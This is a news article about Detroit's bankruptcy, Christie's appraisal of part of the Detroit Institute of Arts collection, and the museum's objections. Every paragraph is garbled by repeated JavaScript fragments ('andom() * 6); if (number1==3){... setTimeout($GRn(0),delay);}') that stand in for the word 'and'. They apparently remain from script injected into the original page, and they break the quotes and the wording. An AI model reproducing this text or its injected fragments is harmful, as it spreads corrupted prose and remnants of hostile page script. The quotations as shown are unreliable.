DETROIT, MICH. — The  latest chapter for the City of Detroit after filing bankruptcy is hiring Christie’s to appraise part of the collection of the Detroit Institute of Arts, which the city owns. A recent estimate of the city’s long-term debt put the figure at around $18 billion.

In a press release posted on its website last week, Christie’s confirmed that Christie’s Appraisals Inc has entered into an agreement to appraise a portion of the city-owned collection at the Detroit Institute of Art. “In addition we will also assist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and advise on how to realize value for the City while leaving the art in the City’s ownership.”

Issuing a statement later that same day, the institute said it will cooperate with the appraisal process while firmly stating it believes that it is unnecessary. “We continue to believe there is no reason to value the collection as the Attorney General has made clear that the art is held in charitable trust andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and cannot be sold as part of a bankruptcy proceeding. We applaud the EM’s [emergency manager] focus on rebuilding the City, but would point out that he undercuts that core goal by jeopardizing Detroit’s most important cultural institution.”

The DIA also noted that recent moves in Oaklandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Macomb Counties to invalidate the tri-county millage (passed in 2012 to provide funds to the institute) if art is sold would virtually ensure that any forced sale of art would precipitate the rapid demise of the DIA.

“Removing $23 million in annual operating funds — nearly 75 percent of the museum’s operating budget — andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and violating the trust of donors andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and supporters would cripple the museum, putting an additional financial burden on our already struggling city,” the museum said.

Noting its longtime support of museums, including the DIA, Christie’s said, “We want to continue to focus our efforts on being a positive force in both the interests of the City of Detroit andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and its arts community, including working with our fellow arts professionals at the DIA andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and with the City to find alternatives to selling that would still provide the City with needed revenue.”

As of last Tuesday, the museum’s spokesperson said they did not know how many or which pieces of art Christie’s would be appraising. Christie’s would not comment beyond the statement it issued.

—Andrea Valluzzo